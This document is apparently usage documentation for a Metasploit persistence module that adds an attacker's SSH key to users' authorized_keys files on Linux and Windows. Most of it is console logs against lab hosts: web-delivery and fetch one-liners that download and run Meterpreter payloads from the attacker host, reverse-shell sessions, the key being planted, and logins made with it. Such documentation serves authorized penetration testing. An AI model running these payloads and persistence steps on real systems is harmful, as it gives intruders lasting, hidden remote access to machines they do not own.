## Description

This module will add an SSH key to a specified user (or all), to allow remote login on the victim via SSH at any time.

This module has been tested against:

1. Ubuntu 24.04
2. Windows 10

### Creating A Testing Environment

#### Windows

[Instructions](https://learn.microsoft.com/en-us/windows-server/administration/openssh/openssh_install_firstuse?tabs=powershell&pivots=windows-10)

```
Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0
(Get-Content "$env:ProgramData\ssh\sshd_config") -replace '^\s*#\s*(PubkeyAuthentication\s+.*)', '$1' | Set-Content "$env:ProgramData\ssh\sshd_config"
Set-Service -Name sshd -StartupType Automatic
Start-Service -Name sshd
```

##### Testing Notes

Windows was difficult to test. The `PubkeyAuthentication` field seems to default to `yes` even when commented out. For logins, 
```
Match Group administrators
      AuthorizedKeysFile __PROGRAMDATA__/ssh/administrators_authorized_keys
```
is the default (as of 1809?). When this is in place, user `authorized_keys` are ignored, and only the `administrators_authorized_keys` is checked.
When this is commented out, only user's `authorized_keys` are checked (as expected).

## Verification Steps

  1. Start msfconsole
  2. Exploit a box via whatever method
  3. Do: `use exploit/multi/persistence/ssh_key`
  4. Do: `set session #`
  5. Optional Do: `set username`
  6. Do: `set verbose true`
  7. Do: `exploit`


## Options

### SSHD_CONFIG

Location of the sshd_config file on the remote system.  We use this to determine if the authorized_keys file location has changed on the system.  If it hasn't, we default to `.ssh/authorized_keys`

### USERNAME

If set, we only write our key to this user.  If not, we'll write to all users. On Windows setting `admin` or `administrator` will force writing to the Admin's `authorized_keys`

### PUBKEY

Path to a public key to use.  If not provided, a pub/priv key pair is generated automatically

### CREATESSHFOLDER

If no .ssh folder is found, create it for the target user. Defaults to `false`

## Scenarios

### Ubuntu 24.04

Get original shell

```
[*] Processing /root/.msf4/msfconsole.rc for ERB directives.
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
lhost => 1.1.1.1
resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set target 7
target => 7
resource (/root/.msf4/msfconsole.rc)> set srvport 8082
srvport => 8082
resource (/root/.msf4/msfconsole.rc)> set uripath l
uripath => l
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set lport 4446
lport => 4446
resource (/root/.msf4/msfconsole.rc)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 1.1.1.1:4446 
[*] Using URL: http://1.1.1.1:8082/l
[*] Server started.
[*] Run the following command on the target machine:
wget -qO 7kQHbL1b --no-check-certificate http://1.1.1.1:8082/l; chmod +x 7kQHbL1b; ./7kQHbL1b& disown
msf exploit(multi/script/web_delivery) > 
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4446 -> 2.2.2.2:40288) at 2025-12-15 20:18:05 -0500
```

Persistence install

```
msf exploit(multi/script/web_delivery) > use exploit/multi/persistence/ssh_key 
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(multi/persistence/ssh_key) > set session 1
session => 1
msf exploit(multi/persistence/ssh_key) > exploit
[*] Command to run on remote host: curl -so ./yGgUYcAsWEy http://1.1.1.1:8080/t70WmtC4mNeBieRpZqn09Q;chmod +x ./yGgUYcAsWEy;./yGgUYcAsWEy&
[*] Exploit running as background job 1.
msf exploit(multi/persistence/ssh_key) > 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking SSH Permissions
[+] The target appears to be vulnerable. Likely vulnerable
[!] Payload handler is disabled, the persistence will be installed only.
[*] Determining authorized_keys file
[*] Authorized Keys File: .ssh/authorized_keys
[*] Found 25 potential user folders
[!] No .ssh folder found for //.ssh, skipping...
[!] No //.ssh/authorized_keys file found, skipping...
[!] No .ssh folder found for /bin/.ssh, skipping...
[!] No /bin/.ssh/authorized_keys file found, skipping...
[!] No .ssh folder found for /dev/.ssh, skipping...
[!] No /dev/.ssh/authorized_keys file found, skipping...
[!] No .ssh folder found for /nonexistent/.ssh, skipping...
[!] No /nonexistent/.ssh/authorized_keys file found, skipping...
[!] No .ssh folder found for /root/.ssh, skipping...
[!] No /root/.ssh/authorized_keys file found, skipping...
[!] No .ssh folder found for /run/ircd/.ssh, skipping...
[!] No /run/ircd/.ssh/authorized_keys file found, skipping...
[!] No .ssh folder found for /run/sshd/.ssh, skipping...
[!] No /run/sshd/.ssh/authorized_keys file found, skipping...
[!] No .ssh folder found for /run/uuidd/.ssh, skipping...
[!] No /run/uuidd/.ssh/authorized_keys file found, skipping...
[!] No .ssh folder found for /usr/games/.ssh, skipping...
[!] No /usr/games/.ssh/authorized_keys file found, skipping...
[!] No .ssh folder found for /usr/lib/dhcpcd/.ssh, skipping...
[!] No /usr/lib/dhcpcd/.ssh/authorized_keys file found, skipping...
[!] No .ssh folder found for /usr/sbin/.ssh, skipping...
[!] No /usr/sbin/.ssh/authorized_keys file found, skipping...
[!] No .ssh folder found for /var/backups/.ssh, skipping...
[!] No /var/backups/.ssh/authorized_keys file found, skipping...
[!] No .ssh folder found for /var/cache/man/.ssh, skipping...
[!] No /var/cache/man/.ssh/authorized_keys file found, skipping...
[!] No .ssh folder found for /var/cache/pollinate/.ssh, skipping...
[!] No /var/cache/pollinate/.ssh/authorized_keys file found, skipping...
[!] No .ssh folder found for /var/lib/fwupd/.ssh, skipping...
[!] No /var/lib/fwupd/.ssh/authorized_keys file found, skipping...
[!] No .ssh folder found for /var/lib/landscape/.ssh, skipping...
[!] No /var/lib/landscape/.ssh/authorized_keys file found, skipping...
[!] No .ssh folder found for /var/lib/tpm/.ssh, skipping...
[!] No /var/lib/tpm/.ssh/authorized_keys file found, skipping...
[!] No .ssh folder found for /var/lib/usbmux/.ssh, skipping...
[!] No /var/lib/usbmux/.ssh/authorized_keys file found, skipping...
[!] No .ssh folder found for /var/list/.ssh, skipping...
[!] No /var/list/.ssh/authorized_keys file found, skipping...
[!] No .ssh folder found for /var/mail/.ssh, skipping...
[!] No /var/mail/.ssh/authorized_keys file found, skipping...
[!] No .ssh folder found for /var/spool/lpd/.ssh, skipping...
[!] No /var/spool/lpd/.ssh/authorized_keys file found, skipping...
[!] No .ssh folder found for /var/spool/news/.ssh, skipping...
[!] No /var/spool/news/.ssh/authorized_keys file found, skipping...
[!] No .ssh folder found for /var/spool/uucp/.ssh, skipping...
[!] No /var/spool/uucp/.ssh/authorized_keys file found, skipping...
[!] No .ssh folder found for /var/www/.ssh, skipping...
[!] No /var/www/.ssh/authorized_keys file found, skipping...
[*] Found 1 confirmed user folders
[+] Storing new private key as /root/.msf4/loot/20251215201840_default_2.2.2.2_id_rsa_950788.txt
[*] Adding key to /home/ubuntu/.ssh/authorized_keys
[+] Persistence installed! Call a shell using 'ssh -i /root/.msf4/loot/20251215201840_default_2.2.2.2_id_rsa_950788.txt <username>@2.2.2.2'
[+] use auxiliary/scanner/ssh/ssh_login
[+]   run KEY_PATH=/root/.msf4/loot/20251215201840_default_2.2.2.2_id_rsa_950788.txt RHOSTS=2.2.2.2 USERNAME=<username>
[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/2.2.2.2_20251215.1841/2.2.2.2_20251215.1841.rc
```

Trigger via metasploit

```
msf exploit(multi/persistence/ssh_key) > use auxiliary/scanner/ssh/ssh_login
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf auxiliary(scanner/ssh/ssh_login) > run KEY_PATH=/root/.msf4/loot/20251215201840_default_2.2.2.2_id_rsa_950788.txt RHOSTS=2.2.2.2 USERNAME=ubuntu VERBOSE=false
[*] 2.2.2.2:22      - Starting bruteforce
[*] 2.2.2.2:22 SSH - Testing Cleartext Keys
[+] 2.2.2.2:22      - Success: 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd) Linux ubuntu2404 6.8.0-31-generic #31-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 20 00:40:06 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux '
[*] SSH session 2 opened (1.1.1.1:40385 -> 2.2.2.2:22) at 2025-12-15 20:21:13 -0500
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Manually trigger

```
msf auxiliary(scanner/ssh/ssh_login) > chmod 600 /root/.msf4/loot/20251215201840_default_2.2.2.2_id_rsa_950788.txt
[*] exec: chmod 600 /root/.msf4/loot/20251215201840_default_2.2.2.2_id_rsa_950788.txt

msf auxiliary(scanner/ssh/ssh_login) > ssh -i /root/.msf4/loot/20251215201840_default_2.2.2.2_id_rsa_950788.txt ubuntu@2.2.2.2
[*] exec: ssh -i /root/.msf4/loot/20251215201840_default_2.2.2.2_id_rsa_950788.txt ubuntu@2.2.2.2

Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.8.0-31-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Tue Dec 16 01:21:12 AM UTC 2025

  System load:  0.08               Processes:               220
  Usage of /:   27.3% of 23.45GB   Users logged in:         1
  Memory usage: 5%                 IPv4 address for ens160: 2.2.2.2
  Swap usage:   0%

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Tue Dec 16 01:09:33 2025 from 1.1.1.1
ubuntu@ubuntu2404:~$ id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
ubuntu@ubuntu2404:~$ exit
logout
Connection to 2.2.2.2 closed.
msf auxiliary(scanner/ssh/ssh_login) > 
```

### Windows 10

Fresh install of SSH, followed the instructions included in these docs.

```
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
lhost => 1.1.1.1
resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> use payload/cmd/windows/http/x64/meterpreter_reverse_tcp
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set fetch_command CURL
fetch_command => CURL
resource (/root/.msf4/msfconsole.rc)> set fetch_pipe true
fetch_pipe => true
resource (/root/.msf4/msfconsole.rc)> set lport 4450
lport => 4450
resource (/root/.msf4/msfconsole.rc)> set FETCH_URIPATH w3
FETCH_URIPATH => w3
resource (/root/.msf4/msfconsole.rc)> set FETCH_FILENAME mkaKJBzbDB
FETCH_FILENAME => mkaKJBzbDB
resource (/root/.msf4/msfconsole.rc)> to_handler
[*] Command served: curl -so %TEMP%\mkaKJBzbDB.exe http://1.1.1.1:8080/KAdxHNQrWO8cy5I90gLkHg & start /B %TEMP%\mkaKJBzbDB.exe

[*] Command to run on remote host: curl -s http://1.1.1.1:8080/w3|cmd
[*] Payload Handler Started as Job 0
[*] Fetch handler listening on 1.1.1.1:8080
[*] HTTP server started
[*] Adding resource /KAdxHNQrWO8cy5I90gLkHg
[*] Adding resource /w3
[*] Started reverse TCP handler on 1.1.1.1:4450 
msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > 
[*] Client 2.2.2.2 requested /KAdxHNQrWO8cy5I90gLkHg
[*] Sending payload to 2.2.2.2 (curl/7.79.1)
[*] Meterpreter session 1 opened (1.1.1.1:4450 -> 2.2.2.2:59009) at 2025-12-19 17:04:57 -0500

msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > use exploit/multi/persistence/ssh_key 
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(multi/persistence/ssh_key) > set session 1
session => 1
msf exploit(multi/persistence/ssh_key) > set CREATESSHFOLDER true
CREATESSHFOLDER => true
msf exploit(multi/persistence/ssh_key) > set username admin
username => admin
msf exploit(multi/persistence/ssh_key) > exploit
stty: 'standard input': unable to perform all requested operations
[*] Command to run on remote host: curl -so ./jCmJxTXYN http://1.1.1.1:8080/t70WmtC4mNeBieRpZqn09Q;chmod +x ./jCmJxTXYN;./jCmJxTXYN&
[*] Exploit running as background job 1.
msf exploit(multi/persistence/ssh_key) > 
msf exploit(multi/persistence/ssh_key) > 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking SSH Permissions
[-] Pubkey Authentication disabled
[*] Attempting to enable pubkey authentication in sshd_config
[+] PubkeyAuthentication enabled successfully
[+] The target appears to be vulnerable. Likely vulnerable
[!] Payload handler is disabled, the persistence will be installed only.
[*] Determining authorized_keys file
[*] Found 1 potential user folders
[*] Found 1 confirmed user folders
[+] Storing new private key as /root/.msf4/loot/20251219171407_default_2.2.2.2_id_rsa_295084.txt
[*] Adding key to C:\ProgramData\ssh\administrators_authorized_keys
[+] Persistence installed! Call a shell using 'ssh -i /root/.msf4/loot/20251219171407_default_2.2.2.2_id_rsa_295084.txt <username>@2.2.2.2'
[+] use auxiliary/scanner/ssh/ssh_login
[+]   run KEY_PATH=/root/.msf4/loot/20251219171407_default_2.2.2.2_id_rsa_295084.txt RHOSTS=2.2.2.2 USERNAME=<username>
[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/WIN10PROLICENSE_20251219.1408/WIN10PROLICENSE_20251219.1408.rc

msf exploit(multi/persistence/ssh_key) > use auxiliary/scanner/ssh/ssh_login
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf auxiliary(scanner/ssh/ssh_login) > run KEY_PATH=/root/.msf4/loot/20251219171407_default_2.2.2.2_id_rsa_295084.txt RHOSTS=2.2.2.2 USERNAME=windows
[*] 2.2.2.2:22       - Starting bruteforce
[*] 2.2.2.2:22 SSH - Testing Cleartext Keys
[*] Testing 1 key from /root/.msf4/loot/20251219171407_default_2.2.2.2_id_rsa_295084.txt
[+] 2.2.2.2:22       - Success: 'Microsoft Windows 10 Pro 10.0.18363 N/A Build 18363'
[+] 2.2.2.2:22       - windows:-----BEGIN RSA PRIVATE KEY-----

-----END RSA PRIVATE KEY-----
', ' ')}'
[*] SSH session 2 opened (1.1.1.1:33749 -> 2.2.2.2:22) at 2025-12-19 17:14:39 -0500
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/ssh/ssh_login) > sessions -i 2
[*] Starting interaction with 2...

Microsoft Windows [Version 10.0.18363.2274]
(c) 2019 Microsoft Corporation. All rights reserved.

windows@WIN10PROLICENSE C:\Users\windows>
windows@WIN10PROLICENSE C:\Users\windows>whoami
whoami
win10prolicense\windows
```